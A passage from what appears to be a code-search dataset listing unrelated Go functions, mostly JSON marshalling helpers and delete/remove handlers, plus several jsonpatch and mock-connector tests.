([]byte, error) {\n\ttype Alias CartSetDeleteDaysAfterLastModificationAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"setDeleteDaysAfterLastModification\", Alias: (*Alias)(&obj)})\n}", "func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcepbo.Kind = KindCheckExists\n\tobjectMap := make(map[string]interface{})\n\tif cepbo.Exists != nil {\n\t\tobjectMap[\"Exists\"] = cepbo.Exists\n\t}\n\tif cepbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cepbo.PropertyName\n\t}\n\tif cepbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cepbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\treturn\n}", "func encodeDeleteResponse(ctx context.Context, w http1.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\treturn\n}", "func (r *Request) DeleteJSON(path string, data interface{}) {\n\tb, err := json.Marshal(data)\n\tif err != nil {\n\t\tr.t.Fatalf(\"httptesting: DeleteJSON:json.Marshal(%T): %v\", data, err)\n\t}\n\n\tr.Delete(path, \"application/json\", b)\n}", "func (obj CartUnfreezeCartAction) MarshalJSON() ([]byte, error) {\n\ttype Alias CartUnfreezeCartAction\n\treturn json.Marshal(struct {\n\t\tAction string `json:\"action\"`\n\t\t*Alias\n\t}{Action: \"unfreezeCart\", Alias: (*Alias)(&obj)})\n}", "func JSONOpString(v []types.Operation) (string, error) {\n\tvar tx types.Operations\n\n\ttx = append(tx, v...)\n\n\tans, err := types.JSONMarshal(tx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(ans), nil\n}", "func (o Operation)MarshalJSON() ([]byte, error){\n objectMap := make(map[string]interface{})\n return json.Marshal(objectMap)\n }", "func DecodeRemoveRequest(_ context.Context, r *http.Request) (req interface{}, err error) {\n\treq = endpoints.RemoveRequest{Id: mux.Vars(r)[\"id\"]}\n\t//err = json.NewDecoder(r.Body).Decode(&r)\n\treturn req, err\n}", "func (v EventApplicationKeyDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk18(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func (v EventPipelineParameterDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk16(w, v)\n}", "func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tgpbo.Kind = KindGet\n\tobjectMap := make(map[string]interface{})\n\tif gpbo.IncludeValue != nil {\n\t\tobjectMap[\"IncludeValue\"] = gpbo.IncludeValue\n\t}\n\tif gpbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = gpbo.PropertyName\n\t}\n\tif gpbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = gpbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (v EventPipelineDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk25(w, v)\n}", "func (v EventPipelinePermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjsonF8e2f9b1EncodeGithubComOvhCdsSdk12(w, v)\n}", "func (d DeletedSecretItem) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"attributes\", d.Attributes)\n\tpopulate(objectMap, \"contentType\", d.ContentType)\n\tpopulateTimeUnix(objectMap, \"deletedDate\", d.DeletedDate)\n\tpopulate(objectMap, \"id\", d.ID)\n\tpopulate(objectMap, \"managed\", d.Managed)\n\tpopulate(objectMap, \"recoveryId\", d.RecoveryID)\n\tpopulateTimeUnix(objectMap, \"scheduledPurgeDate\", d.ScheduledPurgeDate)\n\tpopulate(objectMap, \"tags\", d.Tags)\n\treturn json.Marshal(objectMap)\n}", "func (u BasicUpdateOperation) JSON() string {\n\tj, _ := json.Marshal(u)\n\treturn string(j)\n}", "func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tppbo.Kind = KindPut\n\tobjectMap := make(map[string]interface{})\n\tobjectMap[\"Value\"] = ppbo.Value\n\tif ppbo.CustomTypeID != nil {\n\t\tobjectMap[\"CustomTypeId\"] = ppbo.CustomTypeID\n\t}\n\tif ppbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = ppbo.PropertyName\n\t}\n\tif ppbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = ppbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func TestRemove(t *testing.T) {\n\toriginCtrl := gomock.NewController(t)\n\tdefer originCtrl.Finish()\n\tmockOrigin := mocks.NewMockConnector(originCtrl)\n\n\tfallbackCtrl := gomock.NewController(t)\n\tdefer fallbackCtrl.Finish()\n\tmockFallback := mocks.NewMockConnector(fallbackCtrl)\n\n\tkeys := map[string]dosa.FieldValue{}\n\ttransformedKeys := map[string]dosa.FieldValue{key: []byte{}}\n\tmockOrigin.EXPECT().Remove(context.TODO(), testEi, keys).Return(nil)\n\tmockFallback.EXPECT().Remove(gomock.Not(context.TODO()), adaptedEi, transformedKeys).Return(nil)\n\n\tconnector := NewConnector(mockOrigin, mockFallback, NewJSONEncoder(), nil, cacheableEntities...)\n\tconnector.setSynchronousMode(true)\n\terr := connector.Remove(context.TODO(), testEi, keys)\n\tassert.NoError(t, err)\n}", "func delJSONRaw(data []byte, path string, pathRequired bool) ([]byte, error) {\n\tvar err error\n\tsplitPath := customSplit(path)\n\tnumOfInserts := 0\n\n\tfor element, k := range splitPath {\n\t\tarrayRefs := jsonPathRe.FindAllStringSubmatch(k, -1)\n\t\tif arrayRefs != nil && len(arrayRefs) > 0 {\n\t\t\tobjKey := arrayRefs[0][1] // the key\n\t\t\tarrayKeyStr := arrayRefs[0][2] // the array index\n\t\t\terr = validateArrayKeyString(arrayKeyStr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// not currently supported\n\t\t\tif arrayKeyStr == \"*\" {\n\t\t\t\treturn nil, SpecError(\"Array wildcard not supported for this operation.\")\n\t\t\t}\n\n\t\t\t// if not a wildcard then piece that path back together with the\n\t\t\t// array index as an entry in the splitPath slice\n\t\t\tsplitPath = makePathWithIndex(arrayKeyStr, objKey, splitPath, element+numOfInserts)\n\t\t\tnumOfInserts++\n\t\t} else {\n\t\t\t// no array reference, good to go\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tif pathRequired {\n\t\t_, _, _, err = jsonparser.Get(data, splitPath...)\n\t\tif err == jsonparser.KeyPathNotFoundError {\n\t\t\treturn nil, NonExistentPath\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdata = jsonparser.Delete(data, splitPath...)\n\treturn data, nil\n}", "func (sde ServiceDeletedEvent) MarshalJSON() ([]byte, error) {\n\tsde.Kind = KindServiceDeleted\n\tobjectMap := make(map[string]interface{})\n\tif sde.ServiceTypeName != nil {\n\t\tobjectMap[\"ServiceTypeName\"] = sde.ServiceTypeName\n\t}\n\tif sde.ApplicationName != nil {\n\t\tobjectMap[\"ApplicationName\"] = sde.ApplicationName\n\t}\n\tif sde.ApplicationTypeName != nil {\n\t\tobjectMap[\"ApplicationTypeName\"] = sde.ApplicationTypeName\n\t}\n\tif sde.ServiceInstance != nil {\n\t\tobjectMap[\"ServiceInstance\"] = sde.ServiceInstance\n\t}\n\tif sde.IsStateful != nil {\n\t\tobjectMap[\"IsStateful\"] = sde.IsStateful\n\t}\n\tif sde.PartitionCount != nil {\n\t\tobjectMap[\"PartitionCount\"] = sde.PartitionCount\n\t}\n\tif sde.TargetReplicaSetSize != nil {\n\t\tobjectMap[\"TargetReplicaSetSize\"] = sde.TargetReplicaSetSize\n\t}\n\tif sde.MinReplicaSetSize != nil {\n\t\tobjectMap[\"MinReplicaSetSize\"] = sde.MinReplicaSetSize\n\t}\n\tif sde.ServicePackageVersion != nil {\n\t\tobjectMap[\"ServicePackageVersion\"] = sde.ServicePackageVersion\n\t}\n\tif sde.ServiceID != nil {\n\t\tobjectMap[\"ServiceId\"] = sde.ServiceID\n\t}\n\tif sde.EventInstanceID != nil {\n\t\tobjectMap[\"EventInstanceId\"] = sde.EventInstanceID\n\t}\n\tif sde.TimeStamp != nil {\n\t\tobjectMap[\"TimeStamp\"] = sde.TimeStamp\n\t}\n\tif sde.HasCorrelatedEvents != nil {\n\t\tobjectMap[\"HasCorrelatedEvents\"] = sde.HasCorrelatedEvents\n\t}\n\tif sde.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = sde.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (insert InsertOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(insert.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase insert.Row == nil:\n\t\treturn nil, errors.New(\"Row field is required\")\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tRow Row `json:\"row\"`\n\t\tUUIDName ID `json:\"uuid-name,omitempty\"`\n\t}{\n\t\tOp: insert.Op(),\n\t\tTable: insert.Table,\n\t\tRow: insert.Row,\n\t\tUUIDName: insert.UUIDName,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func stripRemovedStateAttributes(state []byte, ty cty.Type) []byte {\n\tjsonMap := map[string]interface{}{}\n\terr := json.Unmarshal(state, &jsonMap)\n\tif err != nil {\n\t\t// we just log any errors here, and let the normal decode process catch\n\t\t// invalid JSON.\n\t\tlog.Printf(\"[ERROR] UpgradeResourceState: stripRemovedStateAttributes: %s\", err)\n\t\treturn state\n\t}\n\n\t// if no changes were made, we return the original state to ensure nothing\n\t// was altered in the marshaling process.\n\tif !removeRemovedAttrs(jsonMap, ty) {\n\t\treturn state\n\t}\n\n\tjs, err := json.Marshal(jsonMap)\n\tif err != nil {\n\t\t// if the json map was somehow mangled enough to not marhsal, something\n\t\t// went horribly wrong\n\t\tpanic(err)\n\t}\n\n\treturn js\n}", "func (p *Parser) Remove(pattern string) error {\n return p.json.Remove(pattern)\n}", "func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}", "func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\n\t// validate required fields\n\tswitch {\n\tcase len(mutate.Table) == 0:\n\t\treturn nil, errors.New(\"Table field is required\")\n\tcase len(mutate.Where) == 0:\n\t\treturn nil, errors.New(\"Where field is required\")\n\tcase len(mutate.Mutations) == 0:\n\t\treturn nil, errors.New(\"Mutations field is required\")\n\t}\n\t// validate contions\n\tfor _, cond := range mutate.Where {\n\t\tif !cond.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid condition: %v\", cond)\n\t\t}\n\t}\n\t// validate mutations\n\tfor _, mutation := range mutate.Mutations {\n\t\tif !mutation.Valid() {\n\t\t\treturn nil, fmt.Errorf(\"Invalid mutation: %v\", mutation)\n\t\t}\n\t}\n\n\tvar temp = struct {\n\t\tOp OperationType `json:\"op\"`\n\t\tTable ID `json:\"table\"`\n\t\tWhere []Condition `json:\"where\"`\n\t\tMutations []Mutation `json:\"mutations\"`\n\t}{\n\t\tOp: mutate.Op(),\n\t\tTable: mutate.Table,\n\t\tWhere: mutate.Where,\n\t\tMutations: mutate.Mutations,\n\t}\n\n\treturn json.Marshal(temp)\n}", "func (w *WebPurifyRequest) convertToRemoveFromAllowListResponse(resp http.Response) (response.WebPurifyRemoveFromAllowListResponse, error) {\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif err != nil {\n\t\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\n\t}\n\n\tresponseWrapper := response.WebPurifyRemoveFromAllowListResponseWrapper{}\n\n\terr = json.Unmarshal(body, &responseWrapper)\n\tif err != nil {\n\t\treturn response.WebPurifyRemoveFromAllowListResponse{}, err\n\t}\n\n\treturn responseWrapper.Response, nil\n}", "func (v EventApplicationVariableDelete) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk4(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func removeBobba(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tid, err := getRequestID(vars, \"id\")\n\n\t// Set JSON header\n\tw.Header().Set(\"Content-type\", \"application/json\")\n\tif err != nil {\n\t\terrPayload := buildErrorPayload(idEmptyRemove, 200)\n\n\t\tw.Write(errPayload)\n\t\treturn\n\t}\n\n\terr = runRemoveRoutine(id)\n\tif err != nil {\n\t\terrPayload := buildErrorPayload(err.Error(), 200)\n\t\tw.Write(errPayload)\n\t}\n\n\tpayload := buildSuccessPayload(\"success\", 200)\n\tw.Write(payload)\n}", "func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\n\tg := NewWithT(t)\n\n\t// 1. Create array\n\torigDoc := []byte(`{\"root\":{}}`)\n\n\tpatch1, _ := DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array\", \"value\":[]}]\n`))\n\n\texpectNewDoc := []byte(`{\"root\":{\"array\":[]}}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 1 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 2. Add last element.\n\torigDoc = newDoc\n\tpatch1, _ = DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"azaza\"}]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 2 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 3. Add more elements.\n\torigDoc = newDoc\n\n\tpatch1, _ = DecodePatch([]byte(`\n[ {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"ololo\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"foobar\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"baz\"}\n]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"ololo\", \"foobar\", \"baz\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 3 apply\")\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 4. Remove elements in the middle.\n\torigDoc = newDoc\n\tpatch1, _ = DecodePatch([]byte(`\n[ {\"op\":\"remove\", \"path\":\"/root/array/1\"},\n {\"op\":\"remove\", \"path\":\"/root/array/2\"}\n]\n`))\n\n\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\n\t// \"remove 1, remove 2\" actually do: \"remove 1, remove 3\"\n\n\t// wrong expectation...\n\t// expectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"baz\"]}}`)\n\t// Actual result\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"foobar\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 4 apply\")\n\n\tg.Expect(JSONEqual(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func (w *PropertyWrite) remove(q *msg.Request, mr *msg.Result) {\n\tswitch q.Property.Type {\n\tcase `custom`:\n\t\tw.removeCustom(q, mr)\n\tcase `native`:\n\t\tw.removeNative(q, mr)\n\tcase `service`, `template`:\n\t\tw.removeService(q, mr)\n\tcase `system`:\n\t\tw.removeSystem(q, mr)\n\tdefault:\n\t\tmr.NotImplemented(fmt.Errorf(\"Unknown property type: %s\",\n\t\t\tq.Property.Type))\n\t}\n}", "func (v *RemoveSymbolFromWatchlistRequest) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca10(&r, v)\n\treturn r.Error()\n}", "func (s *RemoveDeviceValidator) BindJSON(c *gin.Context) error {\n\tb := binding.Default(c.Request.Method, c.ContentType())\n\n\terr := c.ShouldBindWith(s, b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tpbo.Kind = KindPropertyBatchOperation\n\tobjectMap := make(map[string]interface{})\n\tif pbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = pbo.PropertyName\n\t}\n\tif pbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = pbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func Test_jsonpatch_Add_Remove_for_array(t *testing.T) {\n\tg := NewWithT(t)\n\n\t// 1. Create array\n\torigDoc := []byte(`{\"root\":{}}`)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array\", \"value\":[]}]\n`))\n\n\texpectNewDoc := []byte(`{\"root\":{\"array\":[]}}`)\n\n\tnewDoc, err := patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 1 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 2. Add last element.\n\torigDoc = newDoc\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[{\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"azaza\"}]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 2 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 3. Add more elements.\n\torigDoc = newDoc\n\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[ {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"ololo\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"foobar\"},\n {\"op\":\"add\", \"path\":\"/root/array/-\", \"value\":\"baz\"}\n]\n`))\n\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"ololo\", \"foobar\", \"baz\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 3 apply\")\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n\n\t// 4. Remove elements in the middle.\n\torigDoc = newDoc[:]\n\tpatch1, _ = jsonpatch.DecodePatch([]byte(`\n[ {\"op\":\"remove\", \"path\":\"/root/array/1\"},\n {\"op\":\"remove\", \"path\":\"/root/array/2\"}\n]\n`))\n\n\t// Operations in patch are not atomic, so after removing index 1, index 2 become 1.\n\t// \"remove 1, remove 2\" actually do: \"remove 1, remove 3\"\n\n\t// wrong expectation...\n\t// expectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"baz\"]}}`)\n\t// Actual result\n\texpectNewDoc = []byte(`{\"root\":{\"array\":[\"azaza\", \"foobar\"]}}`)\n\n\tnewDoc, err = patch1.Apply(origDoc)\n\tg.Expect(err).ShouldNot(HaveOccurred(), \"patch 4 apply\")\n\n\tg.Expect(jsonpatch.Equal(newDoc, expectNewDoc)).Should(BeTrue(), \"%v is not equal to %v\", string(newDoc), string(expectNewDoc))\n}", "func Delete(jsonMap map[string]string, deleteMap map[string]string) (newMap map[string]string, err error) {\n\ts := make(map[string]string)\n\ts = jsonMap\n\tfor key := range deleteMap {\n\t\tif jsonMap[key] != \"\" {\n\t\t\tif strings.Contains(deleteMap[key], \"json:array\") {\n\t\t\t\terr = errors.New(\"invalid value to delete: json:array\")\n\t\t\t\treturn jsonMap, err\n\t\t\t} else if strings.Contains(deleteMap[key], \"json:object\") {\n\t\t\t\terr = errors.New(\"invalid value to delete: json:object\")\n\t\t\t\treturn jsonMap, err\n\t\t\t}\n\t\t\tdeleteArray := strings.Split(strings.Trim(deleteMap[key], `\"`), \" \")\n\t\t\tfor i := 0; i < len(deleteArray); i++ {\n\t\t\t\ts[key] = strings.Replace(s[key], \" \"+deleteArray[i], \"\", 1)\n\t\t\t\tswitch s[key] {\n\t\t\t\tcase \"json:array\":\n\t\t\t\t\ts[key] = \"[]\"\n\t\t\t\tcase \"json:object\":\n\t\t\t\t\ts[key] = \"{}\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn s, nil\n}", "func encodeDeletePostResponse(ctx context.Context, w http.ResponseWriter, response interface{}) (err error) {\n\tif f, ok := response.(endpoint.Failure); ok && f.Failed() != nil {\n\t\tErrorEncoder(ctx, f.Failed(), w)\n\t\treturn nil\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\terr = json.NewEncoder(w).Encode(response)\n\tif err != nil {\n\t\t\tlogrus.Warn(err.Error())\n\t\t}\n\treturn\n}", "func (t *RestControllerDescriptor) Remove() *ggt.MethodDescriptor { return t.methodRemove }", "func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\n\tcspbo.Kind = KindCheckSequence\n\tobjectMap := make(map[string]interface{})\n\tif cspbo.SequenceNumber != nil {\n\t\tobjectMap[\"SequenceNumber\"] = cspbo.SequenceNumber\n\t}\n\tif cspbo.PropertyName != nil {\n\t\tobjectMap[\"PropertyName\"] = cspbo.PropertyName\n\t}\n\tif cspbo.Kind != \"\" {\n\t\tobjectMap[\"Kind\"] = cspbo.Kind\n\t}\n\treturn json.Marshal(objectMap)\n}", "func (j Json) Deletes(path string) Json {\n\tif s, err := sjson.Delete(string(j), path); err == nil {\n\t\treturn Json(s)\n\t}\n\treturn j\n}", "func patchRemoveFinalizers(namespace, name string) clientgotesting.PatchActionImpl {\n\taction := clientgotesting.PatchActionImpl{}\n\taction.Name = name\n\taction.Namespace = namespace\n\tpatch := `{\"metadata\":{\"finalizers\":[],\"resourceVersion\":\"\"}}`\n\taction.Patch = []byte(patch)\n\treturn action\n}", "func (v EventApplicationPermissionDelete) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson4c51a5cdEncodeGithubComOvhCdsSdk16(w, v)\n}", "func (v Quit) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjson42239ddeEncodeGithubComKhliengDispatchServer11(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}", "func Delete(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tparams := mux.Vars(r)\n\tfor i, elem := range schema {\n\t\tif elem.Config.Name == params[\"name\"] {\n\t\t\tschema = append(schema[:i], schema[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n\tjson.NewEncoder(w).Encode(schema)\n}", "func (j *ProposalUpdateOperation) MarshalJSONBuf(buf fflib.EncodingBuffer) error {\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn nil\n\t}\n\tvar err error\n\tvar obj []byte\n\t_ = obj\n\t_ = err\n\tbuf.WriteString(`{ \"active_approvals_to_add\":`)\n\tif j.ActiveApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.ActiveApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"active_approvals_to_remove\":`)\n\tif j.ActiveApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.ActiveApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"owner_approvals_to_add\":`)\n\tif j.OwnerApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.OwnerApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"owner_approvals_to_remove\":`)\n\tif j.OwnerApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.OwnerApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"extensions\":`)\n\n\t{\n\n\t\tobj, err = j.Extensions.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteString(`,\"fee_paying_account\":`)\n\n\t{\n\n\t\tobj, err = j.FeePayingAccount.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteString(`,\"key_approvals_to_add\":`)\n\tif j.KeyApprovalsToAdd != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.KeyApprovalsToAdd {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"key_approvals_to_remove\":`)\n\tif j.KeyApprovalsToRemove != nil {\n\t\tbuf.WriteString(`[`)\n\t\tfor i, v := range j.KeyApprovalsToRemove {\n\t\t\tif i != 0 {\n\t\t\t\tbuf.WriteString(`,`)\n\t\t\t}\n\n\t\t\t{\n\n\t\t\t\tobj, err = v.MarshalJSON()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tbuf.Write(obj)\n\n\t\t\t}\n\t\t}\n\t\tbuf.WriteString(`]`)\n\t} else {\n\t\tbuf.WriteString(`null`)\n\t}\n\tbuf.WriteString(`,\"proposal\":`)\n\n\t{\n\n\t\tobj, err = j.Proposal.MarshalJSON()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tbuf.Write(obj)\n\n\t}\n\tbuf.WriteByte(',')\n\tif j.Fee != nil {\n\t\tif true {\n\t\t\t/* Struct fall back. type=types.AssetAmount kind=struct */\n\t\t\tbuf.WriteString(`\"fee\":`)\n\t\t\terr = buf.Encode(j.Fee)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tbuf.WriteByte(',')\n\t\t}\n\t}\n\tbuf.Rewind(1)\n\tbuf.WriteByte('}')\n\treturn nil\n}", "func (r *ExtensionPropertyRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}", "func (v RemoveScriptToEvaluateOnNewDocumentParams) MarshalJSON() 